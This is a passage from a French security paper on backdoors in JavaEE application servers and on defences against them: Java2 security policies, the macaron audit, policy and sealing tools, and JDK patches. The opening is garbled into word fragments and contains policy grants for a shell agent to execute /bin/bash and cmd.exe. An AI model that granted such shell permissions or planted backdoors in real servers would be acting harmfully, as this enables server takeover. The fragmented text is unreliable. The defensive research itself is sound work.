mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
